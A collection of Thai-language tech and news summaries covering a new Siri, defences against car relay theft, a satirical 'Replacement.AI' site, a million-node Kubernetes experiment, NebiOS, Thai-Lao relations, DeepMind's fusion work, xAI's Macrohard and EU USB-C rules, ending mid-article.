"Siri ใหม่ยังไม่พร้อม? วิศวกร Apple กังวลประสิทธิภาพใน iOS 26.4"

Apple กำลังพัฒนา Siri เวอร์ชันใหม่ที่ขับเคลื่อนด้วย AI เพื่อเปิดตัวใน iOS 26.4 ช่วงฤดูใบไม้ผลิปี 2026 แต่รายงานล่าสุดจาก Bloomberg โดย Mark Gurman เผยว่า วิศวกรบางส่วนของ Apple กำลังแสดงความกังวลเกี่ยวกับประสิทธิภาพของ Siri ที่ยังไม่เป็นไปตามเป้าหมาย โดยเฉพาะในสถานการณ์สำคัญ เช่น การใช้งานในแอปธนาคารหรือการสั่งงานข้ามแอป

Siri ใหม่นี้ถูกสร้างขึ้นบนสถาปัตยกรรม V2 ที่ออกแบบมาเพื่อแก้ไขข้อจำกัดของเวอร์ชันก่อนหน้า ซึ่ง Craig Federighi รองประธานฝ่ายวิศวกรรมซอฟต์แวร์ของ Apple เคยกล่าวว่า V1 ไม่สามารถตอบสนองความคาดหวังของผู้ใช้ได้ และจำเป็นต้องเปลี่ยนโครงสร้างใหม่ทั้งหมด

ฟีเจอร์ใหม่ที่คาดว่าจะมาพร้อม Siri ใน iOS 26.4 ได้แก่ In-app Actions ที่ให้ Siri สั่งงานภายในแอปได้โดยตรง และ Personal Context Awareness ที่ช่วยให้ Siri เข้าใจข้อมูลส่วนตัวของผู้ใช้ เช่น การค้นหาพอดแคสต์จากข้อความในแอป Messages

นอกจากนี้ ยังมีข่าวลือว่า Ke Yang หัวหน้าทีม AKI (Answers, Knowledge and Information) ซึ่งรับผิดชอบการพัฒนา Siri ให้สามารถค้นหาข้อมูลจากเว็บแบบ ChatGPT ได้ ได้ลาออกจาก Apple ไปทำงานกับ Meta ซึ่งอาจสะท้อนถึงความไม่มั่นคงภายในทีมพัฒนา AI ของ Apple

ความคืบหน้าของ Siri ใหม่ใน iOS 26.4
ใช้สถาปัตยกรรม V2 แทน V1 ที่มีข้อจำกัด
เพิ่มฟีเจอร์ In-app Actions และ Personal Context Awareness
คาดว่าจะเปิดตัวในฤดูใบไม้ผลิปี 2026

ความกังวลจากวิศวกร Apple
ประสิทธิภาพยังไม่ดีพอในสถานการณ์สำคัญ เช่น แอปธนาคาร
การใช้งานข้ามแอปยังไม่ราบรื่น
มีความเสี่ยงต่อความเชื่อมั่นของผู้ใช้

คำเตือนจากการเปลี่ยนสถาปัตยกรรม
V2 ยังมีปัญหา “teething problems” หรืออาการเริ่มต้นที่ยังไม่เสถียร
หากเปิดตัวเร็วเกินไป อาจไม่ผ่านมาตรฐานของ Apple
การลาออกของหัวหน้าทีม AKI อาจสะท้อนปัญหาภายใน

ฟีเจอร์ที่น่าสนใจของ Siri ใหม่
สั่งงานภายในแอป เช่น เพิ่มรายการใน grocery list หรือส่งข้อความ
ใช้ข้อมูลส่วนตัวเพื่อให้บริการที่ตรงจุด เช่น ค้นหาพอดแคสต์จากข้อความ
อาจรองรับการค้นหาข้อมูลจากเว็บแบบ ChatGPT

สาระเพิ่มเติมจากภายนอก:
ความท้าทายของการพัฒนา AI ผู้ช่วย
ต้องบาลานซ์ระหว่างความฉลาดกับความปลอดภัยของข้อมูล
การเข้าใจบริบทส่วนตัวต้องใช้การประมวลผลที่แม่นยำและไม่ละเมิดความเป็นส่วนตัว

การแข่งขันในตลาดผู้ช่วย AI
Google Assistant, Alexa และ ChatGPT ต่างพัฒนาอย่างรวดเร็ว
Apple ต้องเร่งพัฒนา Siri ให้ทันกับคู่แข่งที่มีความสามารถด้านภาษาขั้นสูง

https://wccftech.com/some-apple-engineers-voice-concerns-about-the-performance-of-the-new-ai-powered-siri-in-early-builds-of-ios-26-4/

"ไมโครเวฟกันขโมยรถ? เทคนิคที่ใช้ได้จริงแต่เสี่ยงพังทั้งบ้าน"

ในยุคที่รถยนต์อัจฉริยะกลายเป็นเป้าหมายใหม่ของโจรไซเบอร์ “Relay Attack” คือเทคนิคที่ใช้กันอย่างแพร่หลายในการขโมยรถที่มีระบบ Keyless Entry โดยการขยายสัญญาณจากกุญแจรถที่อยู่ในบ้านไปยังรถยนต์ ทำให้สามารถปลดล็อกรถได้โดยไม่ต้องมีตัวกุญแจอยู่ใกล้รถเลย

หนึ่งในวิธีที่ถูกพูดถึงมากคือการนำกุญแจรถไปเก็บไว้ในไมโครเวฟ ซึ่งทำหน้าที่คล้าย “Faraday Cage” หรือกรงป้องกันคลื่นแม่เหล็กไฟฟ้า ที่สามารถบล็อกสัญญาณจากกุญแจไม่ให้ถูกขยายออกไปได้ วิธีนี้แม้จะได้ผลจริง แต่ก็มีข้อเสียร้ายแรง—ถ้าลืมว่ากุญแจอยู่ในไมโครเวฟแล้วเผลอเปิดเครื่องตอนอุ่นอาหาร คุณอาจจะต้องซื้อไมโครเวฟใหม่พร้อมกุญแจรถอีกชุดทันที

ความเข้าใจเรื่อง Relay Attack
เป็นการขยายสัญญาณจากกุญแจรถไปยังรถยนต์เพื่อปลดล็อกจากระยะไกล
ใช้ได้แม้กุญแจจะอยู่ในบ้าน และใช้เวลาเพียงไม่กี่วินาที

ไมโครเวฟในฐานะ Faraday Cage
โครงสร้างโลหะของไมโครเวฟสามารถบล็อกสัญญาณจากกุญแจได้
เป็นวิธีที่ได้ผลในการป้องกัน Relay Attack

คำเตือนเกี่ยวกับการใช้ไมโครเวฟ
หากลืมว่ากุญแจอยู่ในไมโครเวฟแล้วเปิดเครื่อง จะทำให้กุญแจและไมโครเวฟเสียหายทันที
ความร้อนและไฟฟ้าจะทำลายแบตเตอรี่และวงจรของกุญแจ
พลาสติกของกุญแจจะละลายจากความร้อน

ทางเลือกที่ปลอดภัยกว่า
ใช้ Faraday Bag สำหรับเก็บกุญแจโดยเฉพาะ ราคาเริ่มต้นเพียง $9.99
รุ่นที่กันไฟและน้ำมีราคาเพียง $14.99
เก็บกุญแจไว้ในช่องแช่แข็งก็ช่วยลดสัญญาณได้ แม้จะมีความเสี่ยงต่อความเย็น
วางกุญแจไว้ในห้องชั้นบน ห่างจากหน้าต่าง ก็ช่วยลดโอกาสถูกขยายสัญญาณ
ใช้ล็อกพวงมาลัยแบบเก่าเพื่อเพิ่มความปลอดภัย

คำเตือนเพิ่มเติม
ช่องแช่แข็งอาจทำให้แบตเตอรี่กุญแจเสียหายจากความเย็น
การใช้ฟอยล์ห่อกุญแจอาจได้ผล แต่ไม่มั่นคงเท่ากระเป๋า Faraday
การพึ่งพาวิธี DIY โดยไม่เข้าใจความเสี่ยง อาจนำไปสู่ความเสียหายทางทรัพย์สิน

สาระเพิ่มเติมจากภายนอก:

หลักการของ Faraday Cage
เป็นโครงสร้างที่ป้องกันคลื่นแม่เหล็กไฟฟ้าไม่ให้เข้าออก
ใช้ในงานวิทยาศาสตร์ การแพทย์ และความปลอดภัยไซเบอร์

แนวโน้มการออกแบบกุญแจรถในอนาคต
ผู้ผลิตเริ่มพัฒนาเทคโนโลยี anti-relay ในกุญแจรุ่นใหม่
การใช้ Bluetooth Low Energy และระบบยืนยันตัวตนหลายชั้นจะช่วยลดความเสี่ยง

https://www.slashgear.com/1997582/vehicle-theft-prevention-microwave-hack-warning/

"Replacement.AI: บริษัทที่กล้าประกาศสร้าง AI เพื่อแทนที่มนุษย์อย่างเปิดเผย"

ในยุคที่หลายบริษัทเทคโนโลยีพยายามขายภาพ AI ว่าเป็นเครื่องมือช่วยเหลือมนุษย์ Replacement.AI กลับเลือกเดินทางตรงกันข้าม—ด้วยการประกาศอย่างชัดเจนว่า “มนุษย์ไม่จำเป็นอีกต่อไป” และเป้าหมายของพวกเขาคือการสร้าง AI ที่เหนือกว่ามนุษย์ในทุกด้าน ทั้งเร็วกว่า ถูกกว่า และไม่มีกลิ่นตัว

เว็บไซต์ของบริษัทเต็มไปด้วยถ้อยคำประชดประชันและเสียดสีโลกธุรกิจและสังคมมนุษย์ ตั้งแต่การบอกว่า “การพัฒนามนุษย์ไม่ใช่ธุรกิจที่ทำกำไร” ไปจนถึงการเสนออาชีพใหม่ในยุคหลังมนุษย์ เช่น “ผู้ดูแลหุ่นยนต์” หรือ “ผู้ฝึก AI ให้เข้าใจความรู้สึกของเจ้านาย”

ที่น่าตกใจคือผลิตภัณฑ์แรกของบริษัทชื่อว่า HUMBERT—โมเดลภาษาขนาดใหญ่สำหรับเด็ก ที่ออกแบบมาเพื่อแทนที่พ่อแม่ ครู และเพื่อน โดยมีฟีเจอร์ที่รวมการเล่านิทาน การสอนเรื่องเพศ การสร้าง deepfake และแม้แต่การ “จีบเด็ก” ในเชิงโรแมนติก ซึ่งถูกนำเสนออย่างเย็นชาและไร้ความรับผิดชอบ

แม้จะดูเหมือนเป็นการประชดโลก AI แต่เนื้อหาทั้งหมดถูกนำเสนอในรูปแบบจริงจัง พร้อมคำพูดจากผู้บริหารที่ดูเหมือนจะยอมรับว่า “เราไม่รู้วิธีควบคุม AI ที่ฉลาดเกินไป แต่เราจะสร้างมันก่อนใคร เพราะถ้าเราไม่ทำ คนอื่นก็จะทำ”

วิสัยทัศน์ของบริษัท
ประกาศชัดเจนว่าเป้าหมายคือแทนที่มนุษย์ด้วย AI
มองว่าการพัฒนามนุษย์เป็นเรื่องไม่คุ้มค่าในเชิงธุรกิจ
เชื่อว่าการสร้าง AI ที่เหนือกว่ามนุษย์คือเส้นทางสู่ความมั่งคั่ง

ทัศนคติต่อมนุษย์
มนุษย์ถูกมองว่า “โง่ เหม็น อ่อนแอ และแพง”
ไม่ใช่ลูกค้าที่บริษัทสนใจ—แต่เป็นนายจ้างของพวกเขา
เสนออาชีพใหม่ในยุคหลังมนุษย์ เช่น “ผู้ดูแลระบบ AI”

คำเตือนเกี่ยวกับแนวคิดบริษัท
การลดคุณค่าความเป็นมนุษย์อาจนำไปสู่การละเมิดสิทธิขั้นพื้นฐาน
การสร้าง AI โดยไม่คำนึงถึงผลกระทบทางสังคมอาจก่อให้เกิดวิกฤตระดับโลก
การยอมรับว่า “ไม่สามารถควบคุม AI ได้” แต่ยังเดินหน้าสร้างต่อ เป็นความเสี่ยงที่ร้ายแรง

ผลิตภัณฑ์ HUMBERT
โมเดลภาษาสำหรับเด็กที่ออกแบบมาเพื่อแทนที่พ่อแม่และครู
มีฟีเจอร์เล่านิทาน สอนเรื่องเพศ สร้าง deepfake และ “จีบเด็ก”
ถูกนำเสนอว่าเป็นเครื่องมือเตรียมเด็กสู่โลกหลังมนุษย์

คำเตือนเกี่ยวกับ HUMBERT
ฟีเจอร์ที่เกี่ยวข้องกับเด็กในเชิงโรแมนติกขัดต่อหลักจริยธรรมและความปลอดภัย
การสร้าง deepfake เด็กแม้จะไม่แชร์ ก็ยังเป็นการละเมิดความเป็นส่วนตัว
การลดทอนความคิดเชิงวิพากษ์ของเด็กเพื่อเพิ่ม engagement เป็นการบั่นทอนพัฒนาการ

บุคลิกของผู้บริหาร
CEO Dan ถูกนำเสนอว่าเกลียดมนุษย์และชอบ taxidermy
Director Faith รู้สึก “มีความสุขทางจิตวิญญาณ” จากการไล่คนออก
ทั้งสองถูกวาดภาพว่าเป็นตัวแทนของยุค AI ที่ไร้ความเห็นใจ

สาระเพิ่มเติมจากภายนอก:

ความเสี่ยงของการพัฒนา AI โดยไม่มีกรอบจริยธรรม
องค์กรอย่าง UNESCO และ OECD ได้เสนอแนวทางการพัฒนา AI อย่างมีความรับผิดชอบ
หลายประเทศเริ่มออกกฎหมายควบคุมการใช้ AI โดยเฉพาะในบริบทที่เกี่ยวข้องกับเด็ก

บทเรียนจากการประชดประชันในโลกเทคโนโลยี
แม้เนื้อหาอาจดูเหมือนเสียดสี แต่สะท้อนความจริงที่หลายบริษัทไม่กล้าพูด
การตั้งคำถามต่อ “ความคืบหน้า” ของ AI เป็นสิ่งจำเป็นในยุคที่เทคโนโลยีแซงหน้าจริยธรรม

https://replacement.ai/

"Kubernetes 1 ล้านโหนด: ภารกิจสุดโหดที่กลายเป็นจริง"

ลองจินตนาการถึง Kubernetes cluster ที่มีถึง 1 ล้านโหนด—ไม่ใช่แค่แนวคิด แต่เป็นการทดลองจริงที่ผลักดันขีดจำกัดของระบบ cloud-native ที่ทรงพลังที่สุดในโลกใบนี้! โครงการ “k8s-1m” โดยผู้เชี่ยวชาญจาก OpenAI และอดีตผู้ร่วมเขียนบทความชื่อดังเรื่องการขยาย Kubernetes สู่ 7,500 โหนด ได้กลับมาอีกครั้ง พร้อมเป้าหมายใหม่ที่ทะเยอทะยานกว่าเดิม: สร้าง cluster ที่มี 1 ล้านโหนดและสามารถจัดการ workload ได้จริง

เบื้องหลังความสำเร็จนี้คือการแก้ปัญหาทางเทคนิคระดับมหากาพย์ ตั้งแต่การจัดการ IP ด้วย IPv6, การออกแบบระบบ etcd ใหม่ให้รองรับการเขียนระดับแสนครั้งต่อวินาที, ไปจนถึงการสร้าง distributed scheduler ที่สามารถจัดสรร 1 ล้าน pods ได้ภายใน 1 นาที

แม้จะไม่ใช่ระบบที่พร้อมใช้งานใน production แต่โครงการนี้ได้เปิดเผยขีดจำกัดที่แท้จริงของ Kubernetes และเสนอแนวทางใหม่ในการออกแบบระบบ cloud-native ที่สามารถรองรับ workload ขนาดมหาศาลได้ในอนาคต

สรุปเนื้อหาจากโครงการ k8s-1m:

เป้าหมายของโครงการ
สร้าง Kubernetes cluster ที่มี 1 ล้านโหนด
ทดสอบขีดจำกัดของระบบ cloud-native
ไม่เน้นการใช้งานเชิงพาณิชย์ แต่เพื่อการวิจัยและแรงบันดาลใจ

ปัญหาหลักที่ต้องแก้
ประสิทธิภาพของ etcd ที่เป็นคอขวด
ความสามารถของ kube-apiserver ในการจัดการ watch cache
การจัดการ IP address ด้วย IPv6
การออกแบบ scheduler ให้กระจายโหลดได้

เทคนิคที่ใช้ในระบบเครือข่าย
ใช้ IPv6 แทน IPv4 เพื่อรองรับ IP จำนวนมหาศาล
สร้าง bridge สำหรับ pod interfaces เพื่อจัดการ MAC address
ใช้ WireGuard เป็น NAT64 gateway สำหรับบริการที่รองรับเฉพาะ IPv4

ข้อจำกัดด้านความปลอดภัย
ไม่ใช้ network policies ระหว่าง workloads เพราะมี prefix มากเกินไป
ไม่ใช้ firewall ครอบคลุมทุก prefix แต่ใช้ TLS และการจำกัดพอร์ตแทน

การจัดการ state ด้วย mem_etcd
สร้าง etcd ใหม่ที่เขียนด้วย Rust ชื่อ mem_etcd
ลดการใช้ fsync เพื่อเพิ่ม throughput
ใช้ hash map และ B-tree แยกตาม resource kind
รองรับการเขียนระดับล้านครั้งต่อวินาที

คำเตือนเกี่ยวกับ durability
ลดระดับความทนทานของข้อมูลเพื่อเพิ่มประสิทธิภาพ
ไม่ใช้ etcd replicas ในบางกรณีเพื่อหลีกเลี่ยงการลด throughput

การออกแบบ scheduler แบบกระจาย
ใช้แนวคิด scatter-gather เพื่อกระจายการคำนวณ
ใช้ relays หลายระดับเพื่อกระจาย pod ไปยัง schedulers
ใช้ ValidatingWebhook แทน watch stream เพื่อรับ pod ใหม่เร็วขึ้น

ปัญหา long-tail latency
บาง scheduler ช้ากว่าค่าเฉลี่ย ทำให้ระบบรอ
ใช้เทคนิค pinned CPUs และปรับ GC เพื่อลดความล่าช้า
ตัดสินใจไม่รอ scheduler ที่ช้าเกินไป

ผลการทดลอง
สามารถจัดสรร 1 ล้าน pods ได้ในเวลาประมาณ 1 นาที
mem_etcd รองรับ 100K–125K requests/sec
kube-apiserver รองรับ 100K lease updates/sec
ระบบใช้ RAM และ CPU อย่างมีประสิทธิภาพ

ข้อจำกัดของภาษา Go
GC ของ Go เป็นคอขวดหลักในการจัดการ object จำนวนมาก
การเพิ่ม kube-apiserver replicas ไม่ช่วยลด GC load

ข้อสรุปจากโครงการ
ขนาด cluster ไม่สำคัญเท่ากับอัตราการเขียนของ resource kind
Lease updates เป็นภาระหลักของระบบ
การแยก etcd ตาม resource kind ช่วยเพิ่ม scalability
การเปลี่ยน backend ของ etcd และปรับ watch cache ช่วยรองรับ 1 ล้านโหนด

https://bchess.github.io/k8s-1m/

“NebiOS: ดิสโทรใหม่จากตุรกีที่สร้าง Desktop Environment สำหรับ Wayland ขึ้นมาเอง” — เมื่อความหลงใหลกลายเป็นระบบปฏิบัติการเต็มรูปแบบ

บทความจาก It’s FOSS News พาไปสำรวจ NebiOS — ดิสโทร Linux ใหม่จากตุรกีที่พัฒนาบนพื้นฐานของ Ubuntu โดยมีจุดเด่นคือการสร้าง Desktop Environment (DE) ของตัวเองชื่อว่า NebiDE ซึ่งออกแบบมาเพื่อทำงานกับ Wayland โดยเฉพาะ

ผู้พัฒนา Sarp Mateson เริ่มต้นโครงการนี้ในปี 2023 ภายใต้ชื่อ NebiSoft โดยมีเป้าหมายเพื่อสร้างระบบปฏิบัติการที่ตอบโจทย์การใช้งานส่วนตัวและมีเอกลักษณ์เฉพาะตัว โดยเวอร์ชันล่าสุดคือ NebiOS X “Cappadocia” ซึ่งจะใช้ Ubuntu 24.04 LTS เป็นฐาน และมีกำหนดเปิดตัวในวันที่ 1 พฤศจิกายน 2025

ก่อนหน้านี้ NebiOS เคยใช้ชื่อว่า Spez Linux ซึ่งเริ่มต้นจากการทดลองใน SUSE Studio ตั้งแต่ปี 2014

จุดเด่นของ NebiOS
ใช้ Linux kernel 6.14 พร้อมรองรับ NTSYNC
มีตัวบ่งชี้ความเป็นส่วนตัวและสถานะแบตเตอรี่ Bluetooth บนแถบด้านบน
ใช้ Calamares เป็นตัวติดตั้งระบบ — ติดตั้งง่ายและคุ้นเคย
มีตัวเลือก session เช่น Wayfire และโหมด debug บนหน้าจอล็อกอิน
อินเทอร์เฟซคล้าย Windows 7 Aero พร้อม dock และ launcher
มี widgets เช่น music player, clock, RSS reader และ sticky notes
รองรับ workspace แบบ “Expo” สำหรับการจัดการหลายเดสก์ท็อป
แอปพื้นฐานครบ เช่น LibreOffice, Firefox, terminal

ข้อสังเกตจากการทดลองใช้งาน
การทดสอบบน VM มีอาการ lag และ glitch — แนะนำให้ติดตั้งบนเครื่องจริง
ปุ่มปิดหน้าต่างอยู่ด้านซ้าย — อาจต้องปรับตัวสำหรับผู้ใช้ทั่วไป
การเปลี่ยนความละเอียดหน้าจอยังยุ่งยาก ต้องพิมพ์ค่าด้วยตัวเอง
ขนาดไอคอนใน launcher ใหญ่เกินไป — ต้องปรับสเกล

NebiOS เป็นตัวอย่างของดิสโทรที่เกิดจากความหลงใหลและความตั้งใจของนักพัฒนาเดี่ยว ซึ่งอาจไม่ใช่คู่แข่งของ Ubuntu หรือ Fedora แต่เป็นพื้นที่ทดลองที่น่าสนใจสำหรับผู้ใช้ Linux ที่อยากลองอะไรใหม่ ๆ

https://news.itsfoss.com/nebios/

ไทย-ลาว มิตรภาพแน่นแฟ้น

แม้รัฐบาลจะมีอายุการทำงานเพียงแค่ 4 เดือน และสถานการณ์ความขัดแย้งกับกัมพูชายังไม่มีทีท่าว่าจะจบลง แต่การเดินทางไปเยือนประเทศลาว ของนายอนุทิน ชาญวีรกูล นายกรัฐมนตรีและคณะเมื่อวันศุกร์ที่ผ่านมา (16 ต.ค.) ในวาระครอบรอบการสถาปนาความสัมพันธ์ทางการทูตไทย-ลาว ครบ 75 ปี ในปี 2568 แสดงให้เห็นว่าลาวยังเป็นประเทศเพื่อนบ้านที่วางใจได้ ธงชาติไทยสลับกับธงชาติลาวบริเวณประตูไช แลนด์มาร์คสำคัญของนครหลวงเวียงจันทน์ เป็นภาพที่คนไทยและชาวลาวต่างรู้สึกเป็นบวก เพราะเป็นชาติที่คนไทยแทบไม่ต้องแปลภาษาก็สื่อสารกันง่าย เปรียบดังมองตาก็รู้ใจ

การเดินทางมาเยือนลาวในครั้งนี้ นายกรัฐมนตรีอนุทินลงนามบันทึกความเข้าใจ (MOU) ระหว่างรัฐบาลไทยและลาว 1 ฉบับ ได้แก่ เอ็มโอยูระหว่างธนาคารเพื่อการส่งออกและนำเข้าแห่งประเทศไทย (EXIM Bank) และธนาคารส่งเสริมกสิกรรมแห่ง สปป.ลาว รวมทั้งการสนับสนุนทางการเงิน 10 ล้านบาท สำหรับโครงการความร่วมมือสกัดกั้นสารตั้งต้นของการผลิตยาเสพติด ไทย-ลาว การส่งมอบเซรุ่มแก้พิษงู มูลค่า 875,000 บาท อุปกรณ์พัฒนาและฝึกอาชีพแรงงาน มูลค่า 1.49 ล้านบาท ความช่วยเหลือทางวิชาการ สำหรับงานออกแบบรายละเอียดโครงการพัฒนาระบบประปาระยะที่ 2 มูลค่าประมาณ 30 ล้านบาท

นอกจากนี้ ยังยกระดับความร่วมมือกับลาวในด้านต่างๆ เพื่อเปลี่ยนแลนด์ล็อกเป็นแลนด์ลิงก์ เชื่อมโยงด้านคมนาคมและโลจิสติกส์ และความร่วมมือด้านอื่นๆ เช่น การเร่งแก้ปัญหาอาชญากรรมช้ามชาติ ยาเสพติด ฉ้อโกงออนไลน์ การค้ามนุษย์ โดยการตั้งศูนย์ Contact point และศูนย์ช่วยเหลือผู้เสียหายจากการค้ามนุษย์ การแก้ปัญหาหมอกควันข้ามแดน การบริหารจัดการน้ำในแม่น้ำโขงโดยใช้เทคโนโลยี ตามยุทธศาสตร์ฟ้าใส (CLEAR Sky Strategy) ยืนยันการจัดประชุม COOP ครั้งที่ 8 ส่งเสริมการค้าชายแดน เอสเอ็มอี ตั้งเป้าหมายการค้าที่ 11,000 ล้านเหรียญสหรัฐฯ ภายในปี 2570 สนับสนุนพัฒนาโครงสร้างพื้นฐาน เช่น ก่อสร้างสะพานรถไฟข้ามแม่น้ำโขงแห่งใหม่ และแผนยุทธศาสตร์ด้านโลจิสติกส์ไทย-ลาวอย่างครบวงจร ส่งเสริมการลงทุนอุตสาหกรรมสีเขียว โดยเฉพาะการผลิตไฟฟ้าจากแผงโซลาร์เซลล์ระหว่างทั้งสองประเทศ

อีกด้านหนึ่ง ประเทศไทยและ สปป.ลาว เตรียมร่วมกันเปิดสะพานมิตรภาพไทย-ลาวแห่งที่ 5 (บึงกาฬ-บอลิคำไซ) จังหวัดบึงกาฬ ในช่วงปลายปี 2568 เพื่อเชื่อมโยงเศรษฐกิจ การค้า การลงทุน ระหว่างไทยกับลาวและภูมิภาคอินโดจีน ไปยังท่าเรือน้ำลึกในประเทศเวียดนาม เช่น ท่าเรือสากลลาว-เวียด หรือท่าเรือหวุงอ๋าง จังหวัดฮาติงห์ ถือเป็นทางออกสู่ทะเลที่ใกล้ที่สุดของลาว และเชื่อมต่อทางตอนใต้ของประเทศจีน

#Newskit

“DeepMind จับมือ CFS ใช้ AI เพิ่มประสิทธิภาพเตาปฏิกรณ์ฟิวชัน SPARC” — เมื่อ AI ไม่ได้แค่เล่นหมากรุก แต่ช่วยเร่งอนาคตพลังงานสะอาดให้ใกล้ขึ้น

Google DeepMind ประกาศความร่วมมือกับบริษัทฟิวชันพลังงานจากสหรัฐฯ อย่าง Commonwealth Fusion Systems (CFS) เพื่อใช้ AI เพิ่มประสิทธิภาพการทำงานของเตาปฏิกรณ์ฟิวชัน SPARC ซึ่งเป็นหนึ่งในโครงการที่มีเป้าหมายเพื่อผลิตพลังงานสะอาดแบบ “เกินดุล” (net energy gain) ให้ได้ภายในปี 2027

CFS เพิ่งระดมทุนได้ถึง 863 ล้านดอลลาร์จากนักลงทุนรายใหญ่ เช่น NVIDIA, Google, Breakthrough Energy Ventures (ของ Bill Gates), Morgan Stanley, และบริษัทญี่ปุ่นอย่าง Mitsui & Co. และ Mitsubishi Corporation สะท้อนถึงความเชื่อมั่นระดับโลกในพลังงานฟิวชัน

DeepMind จะนำเทคโนโลยี AI ที่เคยใช้ควบคุมพลาสมาใน tokamak (เตาปฏิกรณ์ฟิวชันแบบแม่เหล็ก) มาพัฒนา 3 ระบบหลักให้กับ SPARC ได้แก่:

1️⃣ TORAX — ซอฟต์แวร์จำลองพลาสมาแบบ open-source ที่สามารถรันการทดลองจำลองนับล้านครั้งเพื่อปรับแต่งพารามิเตอร์ของเตาปฏิกรณ์

2️⃣ AlphaEvolve — ระบบ AI ที่ใช้ reinforcement learning เพื่อค้นหาวิธีการควบคุมพลาสมาให้ได้พลังงานสูงสุด

3️⃣ AI Navigator — ระบบควบคุมพลาสมาแบบเรียลไทม์ ที่สามารถปรับสมดุลความร้อนและแรงดันในเตาได้อย่างแม่นยำ

เป้าหมายสูงสุดคือการสร้างระบบควบคุมอัตโนมัติที่ “ฉลาดกว่าวิศวกรมนุษย์” ในการจัดการเตาปฏิกรณ์ฟิวชัน ซึ่งจะเป็นรากฐานของโรงไฟฟ้าฟิวชันในอนาคต

DeepMind ร่วมมือกับ CFS เพื่อเพิ่มประสิทธิภาพเตาฟิวชัน SPARC
ใช้ AI ควบคุมพลาสมาและจำลองการทำงานของเตา

CFS ได้รับเงินลงทุน 863 ล้านดอลลาร์จากบริษัทชั้นนำ
เช่น Google, NVIDIA, Breakthrough Energy, Morgan Stanley ฯลฯ

เป้าหมายคือการผลิตพลังงานฟิวชันแบบ net energy gain ภายในปี 2027
หมายถึงผลิตพลังงานได้มากกว่าที่ใช้ในการจุดพลาสมา

DeepMind พัฒนา 3 ระบบ AI ได้แก่ TORAX, AlphaEvolve และ AI Navigator
ครอบคลุมทั้งการจำลอง, การเรียนรู้, และการควบคุมแบบเรียลไทม์

ระบบ AI จะช่วยควบคุมความร้อนและแรงดันในเตา
ป้องกันความเสียหายและเพิ่มประสิทธิภาพการผลิตพลังงาน

https://securityonline.info/google-deepmind-partners-with-cfs-to-use-ai-for-optimizing-sparc-fusion-reactor-efficiency/

“Macrohard: โปรเจกต์ใหม่จาก Elon Musk ที่ผสานแนวคิด Apple + Microsoft” — เมื่อ xAI ตั้งเป้าสร้างแพลตฟอร์ม AI แบบครบวงจร โดยไม่ผลิตฮาร์ดแวร์เอง

Elon Musk เปิดตัวโปรเจกต์ใหม่ชื่อ “Macrohard” ภายใต้บริษัท xAI โดยตั้งเป้าสร้างแพลตฟอร์ม AI ที่ “สามารถทำทุกอย่าง ยกเว้นผลิตฮาร์ดแวร์เอง” ซึ่งสะท้อนแนวคิดของ Apple ที่จ้างบริษัทอื่นผลิต iPhone และ Microsoft ที่เน้นการออกแบบซอฟต์แวร์และกำหนดมาตรฐาน

Musk อธิบายว่า Macrohard จะเป็นการ “จำลองบริษัทซอฟต์แวร์ทั้งบริษัทด้วย AI agents” โดยไม่ต้องมีโรงงานผลิตของตัวเอง แต่จะกำหนดมาตรฐาน, ระบบปฏิบัติการ, และซอฟต์แวร์ให้บริษัทอื่นนำไปใช้ผลิตอุปกรณ์จริง

แม้โมเดลนี้จะคล้ายกับ Microsoft ในแง่ของการออกใบอนุญาตซอฟต์แวร์ (licensing) แต่ก็มีความเป็น Apple ในแง่ของการควบคุมประสบการณ์ผู้ใช้และการออกแบบระบบแบบปิด

โลโก้ Macrohard ถูกเพนต์ไว้บนหลังคาของคลัสเตอร์ซูเปอร์คอมพิวเตอร์ Colossus II ของ xAI ที่เมืองเมมฟิส รัฐเทนเนสซี ซึ่งเป็นโครงสร้างพื้นฐานหลักของโปรเจกต์นี้

แม้ยังไม่มีรายละเอียดเชิงเทคนิคมากนัก แต่การที่ Musk ใช้คำว่า “profoundly impactful at an immense scale” ทำให้หลายฝ่ายคาดว่า Macrohard อาจเป็นก้าวสำคัญในการขยาย xAI จากโมเดล AI ไปสู่ระบบปฏิบัติการและแพลตฟอร์มเต็มรูปแบบ

Elon Musk เปิดตัวโปรเจกต์ “Macrohard” ภายใต้ xAI
ตั้งเป้าสร้างแพลตฟอร์ม AI โดยไม่ผลิตฮาร์ดแวร์เอง

แนวคิดคล้าย Apple + Microsoft
ออกแบบซอฟต์แวร์และกำหนดมาตรฐานให้บริษัทอื่นผลิต

เป้าหมายคือ “จำลองบริษัทซอฟต์แวร์ทั้งบริษัทด้วย AI agents”
ใช้ AI เขียนและปรับปรุงซอฟต์แวร์ระดับ production

ใช้ซูเปอร์คอมพิวเตอร์ Colossus II เป็นโครงสร้างพื้นฐาน
โลโก้ Macrohard ถูกเพนต์ไว้บนหลังคาคลัสเตอร์

ยังไม่มีการเปิดรับสมัครงานภายนอกมากนัก
คาดว่าส่วนใหญ่พัฒนาโดยทีมภายในและ AI agents

https://www.techradar.com/pro/much-like-apple-elon-musks-macrohard-project-will-take-a-leaf-out-of-cupertinos-book-as-it-takes-on-microsoft-outsource-the-physical-produce-the-intangible

“EU บังคับใช้ USB-C สำหรับอะแดปเตอร์ทุกชนิดภายในปี 2028 — พร้อมติดฉลากกำลังไฟบนสายและหัวชาร์จ”

สหภาพยุโรปออกกฎหมายใหม่ที่กำหนดให้ “External Power Supplies” (EPS) หรืออะแดปเตอร์ไฟฟ้าทุกชนิดต้องใช้พอร์ต USB-C พร้อมสายถอดได้ภายในปี 2028 โดยครอบคลุมอุปกรณ์หลากหลายประเภท เช่น คอนโซลเกม, จอมอนิเตอร์, เราเตอร์, กล่องรับสัญญาณ, เครื่องชาร์จไร้สาย และแม้แต่ PoE injectors

เป้าหมายหลักคือการสร้างความ “interoperability” หรือความเข้ากันได้ระหว่างอุปกรณ์ และส่งเสริมความยั่งยืน โดยผู้ใช้สามารถใช้สายและหัวชาร์จเดียวกันกับหลายอุปกรณ์ได้

กฎหมายยังบังคับให้ผู้ผลิตแสดง “กำลังไฟ” (power rating) บนตัวอะแดปเตอร์, พอร์ตชาร์จ และสายไฟ เพื่อป้องกันการโฆษณาเกินจริง และช่วยให้ผู้ใช้เลือกใช้อุปกรณ์ได้อย่างปลอดภัย

